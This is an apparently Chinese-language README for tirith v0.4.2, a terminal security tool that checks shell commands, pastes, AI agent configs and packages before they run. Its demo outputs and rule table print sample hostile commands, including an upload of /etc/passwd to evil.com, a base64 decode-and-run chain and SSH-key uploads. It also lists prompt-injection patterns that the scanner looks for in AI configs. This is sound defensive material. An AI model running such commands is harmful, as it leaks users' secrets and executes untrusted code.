返回更新列表
新发布Sep 12, 2026

tirith v0.4.2

为开发者和AI代理提供终端安全。拦截同形异义URL、管道到shell、ANSI注入、混淆载荷、数据外泄以及恶意AI技能/配置,在它们执行之前。

分享

tirith

你的浏览器能拦截这个。你的终端不能。

tirith, terminal security

CI GitHub Stars License: AGPL-3.0

Website | Docs | SKILL.md | Changelog | Releases

Vercel OSS Program

独立开源项目,托管由 Vercel 开源计划(2026 年春季批次)提供支持。


你能看出区别吗?``` curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised

你做不到。你的终端也做不到。两个 `і` 字符都是西里尔字母(U+0456),而不是拉丁字母 `i`。第二个 URL 会解析到攻击者的服务器。脚本会在你察觉之前执行。

浏览器多年前就解决了这个问题。终端仍然毫无质疑地渲染 Unicode、ANSI 转义序列和不可见字符。AI 代理运行 shell 命令并安装软件包,却不检查其中内容。

**Tirith 守在门前。** 它会拦截命令、粘贴的内容和扫描的文件,在它们执行之前,从签名的威胁情报数据库中检测同形异义 URL、混淆载荷、凭据窃取、恶意 AI 技能/配置,以及已知的恶意软件包/域名/IP。```bash
brew install tirith

然后在你的 shell 配置文件中激活:```bash

zsh

eval "$(tirith init --shell zsh)"

bash

eval "$(tirith init --shell bash)"

fish

tirith init --shell fish | source

> [!TIP]
> `eval "$(tirith init)"` 会自动检测你当前使用的 shell(它会检查父进程,必要时回退到 `$SHELL`)。只有在你想要覆盖检测结果时,才需要显式使用 `--shell` 标志。

以上就是交互式 shell 覆盖的全部内容。该 shell 接受的命令会在钩子加载且健康时被检查;确切的阻止行为取决于 shell 和模式。安装和升级后请运行 `tirith doctor`,并在将钩子视为授权边界之前阅读[按 shell 划分的执行](#enforcement-by-shell)。干净的命令保持静默,通常走快速路径。

也可通过 [npm](#cross-platform)、[cargo](#cross-platform)、[mise](#cross-platform)、[apt/dnf](#linux-packages) 以及[更多方式](#install)获取。

---

## 实际效果

**同形异义字攻击,在执行前被阻止:**```
$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

该命令永远不会执行。

使用干净 URL 的管道到 shell,已警告,未阻止:``` $ curl -fsSL https://get.docker.com | sh

tirith: WARNING [MEDIUM] pipe_to_interpreter, Download piped to interpreter Consider downloading first and reviewing.

警告输出到 stderr。命令仍会运行。

**Base64 解码-执行链,已阻止:**```
$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash

捕获通过 sudo/env 包装器以及 PowerShell -EncodedCommand 的解码链。

凭据外泄,已阻止:``` $ curl -d @/etc/passwd https://evil.com/collect

tirith: BLOCKED [HIGH] data_exfiltration, Data exfiltration via curl upload curl command uploads sensitive data to a remote server

涵盖所有 curl/wget 上传标志、环境变量(`$AWS_SECRET_ACCESS_KEY`)以及命令替换。

**扫描时捕获的恶意技能文件:**```
$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument

扫描 JS/Python 文件,查找混淆载荷、动态代码执行和秘密数据外泄模式。

正常命令,不可见:``` $ git status $ ls -la $ docker compose up -d

Nothing。零输出。你忘了 tirith 正在运行。

---

## 它能捕获什么

**35 个类别中的 244 条检测规则。**

| 类别 | 它阻止什么 |
|----------|--------------|
| **同形异义攻击** | 主机名中的西里尔/希腊相似字符、punycode 域名、混合文字标签、相似顶级域名、易混淆域名、文本级易混淆检测(数学字母数字、同词混合文字) |
| **终端注入** | ANSI 转义序列、双向文本覆盖、零宽字符、Unicode 标签、不可见数学运算符、变体选择符、谚文填充符 |
| **隐写术防御** | 不可见空白编码(12 种 Unicode 空格变体)、蒙古文元音分隔符、谚文填充字符、数学字母数字替换、针对 st3gg 风格文本隐写的防御 |
| **管道到 shell** | `curl \| bash`、`wget \| sh`、`httpie \| sh`、`xh \| sh`、`python <(curl ...)`、`eval $(wget ...)`,以及许多包装、解码和间接路径 |
| **Base64 解码执行** | `base64 -d \| bash`、`python -c "exec(b64decode(...))"`、`powershell -EncodedCommand`、通过 sudo/env 包装器的解码链 |
| **数据外泄** | `curl -d @/etc/passwd`、`curl -T ~/.ssh/id_rsa`、`wget --post-file`、环境变量上传(`$AWS_SECRET_ACCESS_KEY`)、命令替换外泄 |
| **代码文件扫描** | 混淆载荷(`eval(atob(...))`)、动态代码执行(`exec(b64decode(...))`)、JS/Python 文件中通过 `fetch`/`requests.post` 进行的机密外泄 |
| **凭据检测** | AWS 密钥、GitHub PAT、Stripe/Slack/SendGrid/Anthropic/GCP/npm 令牌、私钥块,以及基于熵的通用机密检测 |
| **入侵后行为** | 进程内存抓取(`/proc/*/mem`)、Docker 远程权限提升、凭据文件扫描,针对 TeamPCP 和 UNC1069 入侵后工具进行校准 |
| **命令安全** | 点文件覆盖、归档解压到敏感路径、云元数据端点访问、私有网络访问 |
| **不安全传输** | 明文 HTTP 管道到 shell、`curl -k`、禁用 TLS 验证、隐藏目标的短链接 |
| **环境** | 代理劫持、敏感环境变量导出、通过环境变量进行代码注入、解释器劫持、shell 注入环境 |
| **配置文件安全** | 配置注入、可疑指标、配置中的非 ASCII/不可见 Unicode、MCP 服务器安全(不安全/不受信任/重复/过于宽松) |
| **生态系统威胁** | Git clone 域名抢注、不受信任的 Docker 注册表、pip/npm URL 安装、web3 RPC 端点、vet 未配置 |
| **安装命令安全** | 从管道下载添加的 APT 仓库、`[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never`(禁用签名检查)、针对原始/缩短的远程清单执行 `kubectl apply -f`、来自不受信任仓库的 Helm chart、来自不受信任远程源的 Terraform 模块、来自任意 URL 的 `brew install`/`tap` |
| **路径分析** | 非 ASCII 路径、路径中的同形字符、双重编码 |
| **渲染内容** | 隐藏的 CSS/颜色内容、隐藏的 HTML 属性、注释内容分析(提示注入为 High,破坏性命令为 Medium) |
| **伪装检测** | 服务器端伪装(机器人 vs 浏览器)、剪贴板隐藏内容、PDF 隐藏文本 |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`、Windows Defender 排除项(`Add-MpPreference -Exclusion*`)、内联 `iex (iwr ...)` 下载执行 |
| **终端输出防御** | OSC 52 剪贴板写入、伪造提示符、OSC 8 超链接和标题/清屏操纵、命令或 MCP 工具输出中的提示注入(同时扫描原始和解混淆内容,因此不可见字符、易混淆、间隔、leet 和短 base64/hex 规避也会被捕获),以及输出数据外泄(信标 URL 或“读取机密然后发送”指令) |
| **操作上下文** | 针对标记为生产的云/k8s 上下文和 SSH 主机的破坏性命令、没有匹配已保存计划的 Terraform / Pulumi / OpenTofu `apply`、有风险的 sudo 提权、特权 `docker run` |
| **工作站与持久化** | 权限宽松的凭据文件和明文令牌(`~/.ssh`、`~/.aws`、`.npmrc`)、持久化立足点(shell rc、`authorized_keys`、crontab、LaunchAgents、git `core.hooksPath`)、PATH 劫持顺序、可执行文件来源、有风险的别名,以及敏感环境变量生命周期 |
| **爆炸半径与关联** | 逃逸出仓库的删除、大规模删除、执行从有风险来源下载的文件,以及会话链,例如先写入机密再网络访问,或先删除再 `git push --force` |
| **信任、证明与来源** | 签名命令卡不匹配、金丝雀蜜标触碰、粘贴来源主机不匹配、调用方来源(代理)策略拒绝、MCP 锁文件漂移,以及 AI 配置相对于已知安全快照的漂移 |
| **Web3 命令防护** | 来自 Cast / Forge / Hardhat / Solana / Anchor 命令的链上写入(当同一命令还禁用了声明的安全控制时为 High)、命令行上的原始私钥、密钥对或助记词材料,以及操作者的 `web3_guard` 策略不信任的 RPC 端点或签名者。仅语法和策略:不读取链状态、不模拟交易、不对地址评分 |
| **钱包外泄** | 已审查的钱包、密钥库、浏览器钱包和 Solana 密钥对材料流向已证实的远程接收端,包括归档、base64、hex、压缩器和加密器暂存跳转,以及 `xargs` / `find -exec` 操作数提升。仅源读取故意不算作发现 |
| **CI 制品投毒** | 一个 fork 可触达的工作流上传构建制品,被绑定到触发运行的特权 `workflow_run` 工作流消费,然后执行、source、PATH 修改、发布或部署它 |

---

## tirith 不能防护什么

Tirith 在命令、粘贴文本和文件执行**之前**分析它们的**结构**。它是执行前门禁,不是运行时防御,不涵盖:

- **通用运行时沙箱:** 普通 shell 钩子和 `tirith check` 会警告或阻止;它们不会在启动后隔离命令。显式的 `capsule run --preset untrusted-project` 和强制 `pkg install` 路径仅在受支持的 x86_64 Linux 主机上提供故障关闭式隔离。
- **执行后网络监控:** 进程启动后在网络上的行为不在范围内。
- **通用恶意软件/载荷检测:** tirith 不是杀毒软件,不会引爆载荷。它分析结构,可以匹配来自签名威胁数据库的精确指标和制品/文件哈希,但未知载荷不会因未匹配而被证明为良性。(`tirith run` 检查下载脚本的结构;它仍然不是动态恶意软件分析。)
- **特权 root/admin 攻击者:** 任何已经是 root 或 admin 的人都可以轻松绕过 tirith。它防御的是被欺骗的输入,而不是已经拥有机器的攻击者。
- **反调试/防篡改:** tirith 不抵抗逆向工程,也不保护自身二进制文件免受本地攻击者攻击。
- **链上分析:** Web3 防护读取命令语法。它不读取链状态、不模拟交易、不解析 ENS、不对地址评分、不审计合约,也不监视内存池。
- **npm 制品防火墙:** tirith 解析 npm 命令语法和注册表身份事实,并可以向项目自身的 npm 询问其签名和来源状态。它不下载、解压、隔离或绑定 npm 安装的 tarball 字节。受控的、哈希固定的制品防火墙仅适用于 Python。
- **浏览器取证或监控:** `tirith browser audit` 是对扩展源码树的显式、一次性、只读完整性审计。它从不读取 cookie、历史记录、保存的密码、存储、钱包数据库或 `Local State`,从不删除或隔离任何内容,也没有守护进程。
- **可复现构建:** `attest` 回执记录两个树在某一时刻包含的内容。Tirith 不运行你的构建,也无法说明输出是否来自源代码。部署回执是时间点测量,不是持续监控。

参见 [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md) 了解完整威胁模型和明确的非目标,参见 [docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md) 了解 tirith 检测、决策、执行、隔离和证明的逐能力账本。

---

## 已知限制

- **Shell 钩子脆弱性:** 保护依赖于 shell 钩子保持安装并处于活动状态。钩子可能在不同 shell、shell 版本、提示框架和历史工具之间损坏或静默降级。运行 `tirith doctor` 检查实时状态,并留意仅警告式降级。
- **临时存储已满或只读:** zsh 和 fish 在调用 Tirith 之前通过暂存文件捕获输入,当该文件无法创建时会故障关闭。因此,已满/只读的 `TMPDIR` 可能拒绝每条命令,而 `TIRITH=0` 无法恢复,因为二进制文件从未被触达。请遵循[故障排除](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md)中的恢复步骤。
- **平台受限功能:** 守护进程模式、`tirith run` 和 `tirith fetch` 是 Unix 界面。`tirith run --no-exec` 在那里仍是检查工作流,但实时远程脚本执行仅限 Linux,并在所有其他主机上于下载前拒绝。`tirith setup` 是跨平台的,而每个主机集成都有自己的平台契约(例如 Cline 有 POSIX 和 Windows 包装器;OpenHands 的阻止钩子仅限 Unix)。
- **包名提取范围:** 覆盖语言生态系统(pip、npm/yarn/pnpm/bun、cargo、gem、go、composer、dotnet、mvn/gradle),不包括发行版包管理器(`apt`、`dnf`、`yum`、`pacman`)。
- **AI 代理注意事项:** shell 钩子拦截仅防护通过已挂钩交互式 shell 的命令。代理如果生成非交互式 shell、直接调用 `exec`,或在未加载钩子的情况下运行,则不受该层覆盖。MCP 注册是协作式的,除非调用通过网关路由。受支持的工具前钩子可以自动扣留主机命令,但仅当该主机加载并遵守它时。若干主机在钩子进程出错时会故障开放。验证有效主机,而不仅仅是配置文件的存在。
- **主机钩子失败行为:** Grok Build、Cline 和 OpenHands 在其钩子进程崩溃或超时时允许该工具。Tirith 的适配器默认对自身错误拒绝,但它无法让主机遵守一个未返回的进程。如果固定的解释器移动,请重新运行 setup,并在每次升级后测试真实主机。
- **Prime Agent IPython 是源码级提取:** 该防护覆盖 shell 转义/魔术命令以及常见的 `os`、`subprocess` 和 `pty.spawn` 形式,但它不是 Python 运行时沙箱。在较早单元格中定义的包装器、诸如 `getattr`/`__import__` 的反射,或生成进程的第三方包,都可能逃逸源码词法分析器所能证明的范围。
- **自定义 DLP 和机器输出:** 宽泛的 `dlp_custom_patterns` 目前可以重写递归脱敏的 JSON/MCP 投影中协议拥有的字符串值,包括生成的标识符或回执元数据。在消费签名或机器稳定输出时,避免可能匹配结构值的模式;这需要在发布前实现字段感知的脱敏。
- **无人值守安装批准:** `tirith install --yes` 被接受为包管理器任务门禁的无人值守 `require_approval` 通道。它是显式操作者标志,不是人类 TTY 确认的证明。在无人值守执行必须不可能的地方,使用阻止式任务策略。
- **解释型 MCP 绑定:** 精确解释型服务器绑定在固定上限下对仓库树进行哈希,而不是发现真正的依赖闭包,因此大型树、符号链接或特殊文件可能导致启动被拒绝。它在 spawn 前重新验证,但不从密封的已审查描述符执行解释器输入;同一用户并发修改仍存在验证到加载的间隙。
- **任务门禁覆盖:** 任务效果推断仅建模 Web3 shell 语法,别无其他,因此几乎所有普通 SHELL 命令都会报告为 INCOMPLETE。`task_gate.mode: enforce` 与 `action_incomplete_analysis: block` 会在提交 shell 信封的五个边界拒绝这些命令,而在四个包和配置写入边界不改变任何内容,这些边界始终评估为完整。`warn` 是默认值。替代方案 `effects_denied_for_untrusted_sources` 会在每个自有边界的每次调用中拒绝指定效果,包括你自己输入的命令,因为那些边界上的任何来源都不会被视为受信任。
- **隔离仅限 x86_64 Linux:** `tirith capsule run --preset untrusted-project` 和强制 `tirith pkg install` 仅在具有可用 Landlock ABI 的 x86_64 Linux 上可执行。所有其他主机在复制或 spawn 任何内容之前拒绝,没有降级回退。任何后端都不提供域允许列表。
- **嵌套 shell 外泄间隙:** 嵌套 shell 主体内部的敏感读取,其接收端在外部,例如 `bash -c "cat <wallet>" | curl -d @- <url>`,目前不会被关联。完全位于 `-c` 主体内部或完全位于外部的同一链条会被检测到。
- **执行证据等级:** Linux 启动仅在其停止的 `exec` 转换、持久状态更新、授权恢复和终端启动器证明全部完成后才被确认。网关调用仅由精确关联结果确认。超时或被取消的 shell 观察和转发的网关调用仍为保守的未解决证据,绝不视为已确认执行。严格 shell 回执可用于交互式 bash、zsh 和 fish;PowerShell 仍仅限预检。原生 Linux 启动器行为必须由 Linux CI 或原生 Linux 主机验证;可移植源码/单元覆盖或 macOS 构建都不能替代。
- **Web3 覆盖缺口:** `forge create` 尚未在引擎表面上建模;若干声明的 `web3_guard` 字段被解析但未强制执行;schema-2 命令卡 Web3 绑定尚无 CLI 编写或实时引擎消费路径。将这些视为已知缺口,而非静默授权。

---

## 威胁情报

Tirith 附带一个签名的本地威胁数据库,用于包、主机名和 IP 信誉。当 shell 钩子或 `tirith check` 看到包安装或可疑基础设施引用时,它会在命令执行前将该输入与数据库匹配,而不是仅依赖静态启发式。

**签名数据库**(由 CI 构建,在下载和加载时验证):

- 来自 [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) 和 [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset) 的已知恶意包
- 来自 [Feodo Tracker](https://feodotracker.abuse.ch/)(abuse.ch)的恶意 IP 基础设施
- 来自 [ecosyste.ms](https://ecosyste.ms/) 的已确认域名抢注和流行包基线
- [CISA 已知被利用漏洞](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)目录,用于运行时公告关联

ThreatDB v2 增加了精确制品 SHA-256 值、已安装文件哈希、恶意 URL、活动成员资格和行为标签。签名索引、更新器、编译器和加载器在分阶段切换期间支持 v1 和 v2,拒绝序列回滚,以事务方式发布,并在更新不完整或无效时保留签名的最后已知良好数据库。DigitalSide 源已实现,但在其新鲜度和运营契约获批之前有意保持非活动状态。

**可选补充源**(用户本地覆盖):

- 通过 abuse.ch 认证密钥使用 [URLhaus](https://urlhaus.abuse.ch/) 和 [ThreatFox](https://threatfox.abuse.ch/)
- [PhishTank](https://phishtank.org/)(Cisco Talos)和 [Phishing Army](https://phishing.army/) 阻止列表
- 来自 [Tor Project](https://www.torproject.org/) 的 Tor 出口节点列表

**可选实时增强**,在 `tirith check` 和守护进程模式期间:

- [OSV.dev](https://osv.dev/) 公告查询(Google OSS)
- [deps.dev](https://deps.dev/) 包健康信号(Google OSS)和 [ecosyste.ms](https://ecosyste.ms/) 维护者数据
- [Google Safe Browsing](https://safebrowsing.google.com/) URL 信誉,使用你自己的 API 密钥```bash
tirith threat-db update              # download + verify the signed DB
tirith threat-db status              # age, signature, version, entry counts
tirith threat-db health              # install, signature, staleness, counts
tirith threat-db sources             # list every feed the DB is built from
tirith threat-db explain react       # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01   # count changes since a version/date

默认情况下,shell 钩子和 tirith check 每 24 小时触发一次轻量级后台刷新检查。守护进程模式在后台保持相同的富化路径处于热状态。

threat-db explain 接受域名、包名(nameecosystem:namename@version)或 IPv4 地址。该二进制文件不保留逐条历史记录,因此 threat-db diff 报告的是快照之间的类别和按来源计数增量,而非确切变更的条目。每个 threat-db 命令都接受 --format jsonthreatdb 是别名。

包风险评分

tirith package risk <ecosystem> <name>tirith score 对 URL 评分的方式对包的供应链/维护者风险进行评分,即确定性、完全可解释的命名因子之和,不使用模型,也不使用学习权重。tirith package explain <ecosystem> <name> 增加了逐因子推导;两者都接受 --format json。```bash tirith package risk npm react # 0/100, a known-popular package tirith package risk npm reqeusts # high, one edit from a popular name tirith package explain pypi flask # factor-by-factor derivation tirith package risk npm left-pad --path ./node_modules/left-pad tirith package risk --online npm react # also consult the registry API

**默认离线。** 不带任何标志时,每个信号都是本地的,不进行网络调用:(1) **名称与热门包对比**:已知热门、未知,或与热门名称仅差一个编辑的近似名称(经典的域名抢注/垃圾抢注形态),来自本地威胁数据库的 `popular` 集合;(2) **已知恶意域名抢注**:与威胁数据库的 `typosquat` 索引精确匹配;(3) **安装/生命周期脚本**和 (4) **捆绑的二进制 blob**,仅在包内容本地可用时检测(位于 `node_modules` / `site-packages` 下,或通过 `--path`)。tirith **从不下载**包。

**`--online` 添加注册表来源信息。** 它会查询包的注册表(npm、PyPI 或 crates.io),在*相同*的因子求和模型中增加六个因子:包/版本年龄、无所有者的已建立包、异常的版本激增、极低的下载量、缺失的源仓库,以及被撤回/弃用状态。这是 `package risk` 本身访问网络的唯一路径;`tirith check` 和守护进程模式有一条独立的、受策略控制的运行时增强路径。`--offline` / `TIRITH_OFFLINE` 无论如何都会强制此评分器离线。失败时会回退到离线评分,并如实显示 `api signals: unavailable`,响应会被缓存并带有 TTL,因此重复运行不会频繁冲击注册表。

该评分是建议性的且独立的:`package risk` 不是检测规则,不会改变任何判定、退出码或审计日志。

### 生态系统扫描与依赖风险

`tirith ecosystem scan [path]` 是 `package risk` 的目录级配套工具。它会遍历项目,发现它能理解的所有依赖清单,npm(`package.json`、`package-lock.json`)、Python(`requirements*.txt`、`pyproject.toml`)、Rust(`Cargo.toml`)、Go(`go.mod`)、Ruby(`Gemfile`),并使用相同的确定性 `package_risk` 因子引擎对**每个声明的依赖**进行评分。```bash
tirith ecosystem scan                       # scan the current project
tirith ecosystem scan ./my-project          # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./      # full machine-readable report

它内置了 slopsquat 检测。 Slopsquatting 是指注册一个看似合理但实为伪造的名称,LLM 倾向于将其幻觉为依赖项。ecosystem scan 仅在以下三个条件全部满足时才会标记:该名称并非已知真实或流行的名称,它具有 AI 幻觉的特征(语言前缀如 python- / node- 加上描述性词元,一堆通用填充词如 helper / utils / client,或异常长的名称),并且它靠近一个真实流行的名称(一次编辑的近似匹配,或它将一个流行名称作为单词嵌入)。要求全部三个条件可以保持低误报率:一个诚实的 data-utils 没有流行名称锚点就不会触发。

默认离线,可选 --online 名称和仿冒域名信号来自本地威胁数据库;--online 增加注册表来源信息,其门控和降级方式与 package risk --online 完全一致。此标志控制生态系统扫描,不会改变 tirith check 独立的运行时增强策略。发现结果通过 tirith 正常的 Verdict / Finding 模型流转:可解释(tirith explain --rule threat_suspicious_package)、审计日志记录,并遵守策略允许列表(允许列表中的包,无论是裸名称还是 ecosystem:name,都会被抑制)。退出码与 tirith scan 一致:1 表示阻断性发现,2 表示建议性发现,0 表示干净。

这有助于捕获已知恶意包、确认的仿冒域名、slopsquatted 包名、恶意下载基础设施,以及带有实时 OSV / CISA KEV 公告数据的包。

Python 制品检查与强制安装

包名风险只是其中一层。Tirith 可以检查你已有的确切 Python 字节码,并在支持的主机上强制执行哈希固定的安装计划:```bash

Local evidence: never downloads an artifact

tirith package inspect --artifact dist/example-1.0-py3-none-any.whl tirith package inspect --artifact-set ./downloaded-wheels tirith package inspect --installed ./.venv

Enforcing pip workflow: x86_64 Linux only

tirith pkg trust-tool /absolute/path/to/static-uv tirith pkg approve pip requests==2.31.0 --target .tirith-pkg tirith pkg install pip requests==2.31.0 --target .tirith-pkg tirith pkg verify-env --target .tirith-pkg requests

检查涵盖 wheel 结构与身份、RECORD 完整性与文件归属、Python 启动钩子、原生 ELF/Mach-O/PE 扩展、执行边以及跨发行版的加载器/载荷拆分。`pkg graph`、`pkg diff`、`pkg attest` 和 `pkg receipt` 暴露相应的来源与凭据证据。

强制执行路径仅支持 **x86_64 Linux 上的 pip**,并且需要文档化的原生授权、一个全新专用的目标目录,以及一个已注册的完全静态原生 `uv`。每个不受支持的平台都会在 pip 启动前失败关闭;它绝不会回退到普通安装。npm 和 Cargo 仍是非强制执行的证据面。参见
[0.4.0 发行说明](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.0.md) 和
[命令参考](https://github.com/sheeki03/tirith/blob/main/docs/commands.md)。

**tirith 所针对的攻击家族**(仅作说明,并非当前代码已捕获的声明):

| 事件 | 年份 | 攻击形态 |
|---|---|---|
| [Shai-Hulud npm 蠕虫](https://socket.dev/blog/shai-hulud-worm) | 2025 | 自我传播的包恶意软件;从 180 多个包中窃取 GitHub 令牌和 AWS 密钥,并将发现发布到公开的 `Shai-Hulud` 仓库 |
| [Slopsquatting](https://socket.dev/blog/slopsquatting-how-ai-hallucinations-are-fueling-a-new-class-of-supply-chain-attacks) | 2023 年至今 | 攻击者在 npm / PyPI / crates.io 上注册 LLM 幻觉出的包名;[USENIX 2025](https://www.usenix.org/system/files/conference/usenixsecurity25/sec25cycle1-prepub-742-spracklen.pdf) 发现 58% 的幻觉名称在多次运行中重复出现 |
| Team PCP / UNC1069 工具集 | 持续中 | 入侵后的凭据清扫、`/proc/*/mem` 抓取、Docker 权限提升 |
| [colors.js / faker.js 破坏事件](https://snyk.io/blog/open-source-npm-packages-colors-faker/) | 2022 | 作者对广泛使用的包进行自我破坏 |
| [event-stream 入侵事件](https://github.com/dominictarr/event-stream/issues/116) | 2018 | 将所有权转移给攻击者;载荷针对比特币钱包 |

包名提取目前覆盖语言生态系统(pip、npm/yarn/pnpm/bun、cargo、gem、go、composer、dotnet、mvn/gradle),而不覆盖发行版级包管理器(`apt` / `dnf` / `yum` / `pacman`)。这就是为什么通过 Linux 发行版 tarball 进入的 xz-utils 尽管是头条事件,却不在表中。

---

## AI 代理安全

Tirith 围绕 AI 编码代理增加了多个独立的保护层:
配置扫描、协作式 MCP 工具、MCP 网关、交互式 shell
钩子,以及主机原生预工具钩子(在主机暴露文档化
阻断契约的情况下)。覆盖范围取决于主机实际加载哪一层。

### Shell 钩子,被动命令拦截

当 AI 代理通过已挂钩的交互式 shell(Claude Code、
Codex、Cursor 等)执行时,tirith 的 shell 钩子会在 shell 接受该交互式命令之前
对其进行检查。这不覆盖非交互式 shell、直接
`exec`,或从未加载该钩子的代理进程:

- **阻止危险命令**:同形异义 URL、管道到 shell、不安全下载
- **阻止恶意粘贴**:ANSI 注入、双向文本攻击、粘贴内容中的隐藏多行
- **与代理无关的交互式闸门**:当该代理实际使用受保护的交互式 shell 时,
  无需代理特定集成
- **零代理修改**:在命令被阻止之前,代理不知道 tirith 的存在

使用 `tirith setup <tool>` 进行一键配置(参见 [AI 代理集成](#ai-agent-integrations))。

### MCP 服务器(6 个跨平台工具;Unix 上 7 个)

运行 `tirith mcp-server` 或使用 `tirith setup <tool> --with-mcp` 将 tirith 注册为 MCP 服务器。AI 代理可以在采取行动前调用这些工具:

| 工具 | 功能 |
|------|-------------|
| `tirith_check_command` | 分析 shell 命令中的管道到 shell、同形异义 URL、环境变量注入 |
| `tirith_check_url` | 对 URL 进行同形异义攻击、punycode 技巧、短链接、原始 IP 评分 |
| `tirith_check_paste` | 检查粘贴内容中的 ANSI 转义、双向控制符、零宽字符 |
| `tirith_scan_file` | 扫描文件中的隐藏内容、不可见 Unicode、配置投毒 |
| `tirith_scan_directory` | 递归扫描,并优先处理 AI 配置文件 |
| `tirith_verify_mcp_config` | 验证 MCP 配置中的不安全服务器、参数中的 shell 注入、通配符工具 |
| `tirith_fetch_cloaking` | 检测服务器端伪装(对机器人与浏览器返回不同内容) |

默认的 `tools/list` 是一份冻结的兼容性契约,因为客户端
会缓存它,而一个未事先声明就出现的工具会改变代理认为自己
可以调用的内容。因此,预览工具 `tirith_check_task` **默认不对外公布**:
运行 `TIRITH_MCP_PREVIEW=1 tirith mcp-server` 来公布它,若没有该
选择加入,按名称调用它的客户端会被按名称拒绝。参见
[docs/task-envelope.md](https://github.com/sheeki03/tirith/blob/main/docs/task-envelope.md)。

### MCP 服务器治理

`tirith mcp lock` 捕获仓库声明的每个 MCP 服务器,涵盖 `.mcp.json` / `mcp.json` / `mcp_settings.json` 以及 IDE 配置变体(`.vscode/`、`.cursor/`、`.windsurf/`、`.cline/`、`.amazonq/`、`.continue/`、`.kiro/`),并将其写入 `.tirith/mcp.lock` 中的确定性锁文件。每个服务器都会记录其传输方式(远程 URL,或本地命令 + 参数)、声明的工具、覆盖元数据以及内容哈希;服务器按名称/来源排序,因此锁文件便于 diff。含糊或携带凭据的声明会被拒绝,而不会被复制到源代码控制中。环境变量值和 URL userinfo 仅以固定的存在标记表示,绝不以原始值或确定性哈希表示:添加/移除变量或 userinfo 仍会产生漂移,而密钥轮换则有意不会。V7 锁文件需要一次显式重新锁定才能迁移到此 v8 隐私模型。发现仅限仓库本地,不触及网络。(`tirith mcp` 是与 `tirith mcp-server` 不同的命令组,后者将 tirith *作为* MCP 服务器运行。)

`tirith mcp verify` 是配套的闸门:它根据已提交的锁文件重建当前清单,并在发生漂移或配置覆盖不完整/被拒绝时以 1 退出(0 表示匹配,2 表示用法错误,如缺少锁文件)。`tirith mcp diff` 以信息方式报告相同的漂移(始终以 0 退出,仅在用法错误时以 2 退出,因此消费者可以区分“无漂移”与“无法检查”)。漂移也会通过 `tirith scan` 以 `mcp_server_drift`(Medium 或 High)呈现,因此 pre-commit 钩子或 CI 能像捕获未固定 action 那样捕获 MCP 表面变化。`verify` / `diff` 从不打印环境变量值或 URL userinfo,只打印发生变化的内容名称。

两个策略字段决定接受什么。两者都以不透明的 `mcp:v1:...` 身份为键,该身份绑定源路径、服务器名称和传输方式:`scan.trusted_mcp_servers` 抑制该确切服务器的配置发现和漂移,而 `scan.mcp_allowed_tools` 声明它可暴露的确切工具。裸名称有意不匹配任何内容,因此另一个配置中的同名服务器无法继承信任。显式工具允许列表还要求一组经操作员批准的实时描述符集,并同时检查静态声明和实时描述符名称。运行 `tirith mcp policy init` 将确切的键脚手架到 `.tirith/mcp-policy.yaml.example`,然后使用网关的 `--mcp-server-identity ... --approve-descriptors` 流程以原子方式捕获经过检查的 `tools/list` 基线。每个脚手架条目都被注释掉,因此导入绝不会静默扩大信任。

### 配置文件扫描

`tirith scan` 检测 AI 配置文件中的提示注入和隐藏载荷。它会优先处理并扫描 50 多种已知 AI 配置文件模式:

- `.cursorrules`、`.windsurfrules`、`.clinerules`、`CLAUDE.md`、`copilot-instructions.md`
- `.claude/` 设置、代理、技能、插件、规则
- `.cursor/`、`.vscode/`、`.windsurf/`、`.cline/`、`.continue/`、`.roo/`、`.codex/` 配置
- `mcp.json`、`.mcp.json`、`mcp_settings.json`
- `.github/copilot-instructions.md`、`.github/agents/*.md`

**它在配置中捕获的内容:**

- **提示注入**(技能激活触发器、权限绕过尝试、安全解除、身份重新分配、跨工具覆盖指令)。每个文件都会以原始形式和去混淆形式(不可见字符、易混淆字符、字符间间距、leet 语、短 base64 / hex)扫描,因此隐藏在编码后的种子仍会触发
- **不可见 Unicode**:零宽字符(包括蒙古文元音分隔符)、双向控制符、软连字符、Unicode 标签、谚文填充符、不可见空白编码、数学字母数字易混淆字符
- **MCP 配置问题**:不安全的 HTTP 连接、原始 IP 服务器、参数中的 shell 元字符、重复的服务器名称、通配符工具访问

### CI / 仓库供应链扫描

`tirith scan` 还会检查仓库检入的、用于描述自身构建和部署管道的文件。它检测的是危险的*模式*,而不是工具:SHA 固定的 action、摘要固定的镜像、本地 Terraform 模块和普通的 `package.json` 都保持干净。

**它在 CI / 基础设施文件中捕获的内容:**

- **GitHub Actions 工作流**(`.github/workflows/*.yml`),一个 `uses:` 引用的 action 被固定到可变引用(`@v3`、`@main`)而非提交 SHA;`pull_request_target` 触发器;`run:` 步骤中的 `curl … | bash` 管道到 shell;攻击者可控制的 `${{ github.event.* }}` 值被插值到 `run:` shell 步骤中(脚本注入)
- **Dockerfile**:`FROM` 基础镜像使用可变的 `latest` 标签(或无标签)且没有 `@sha256:` 摘要固定
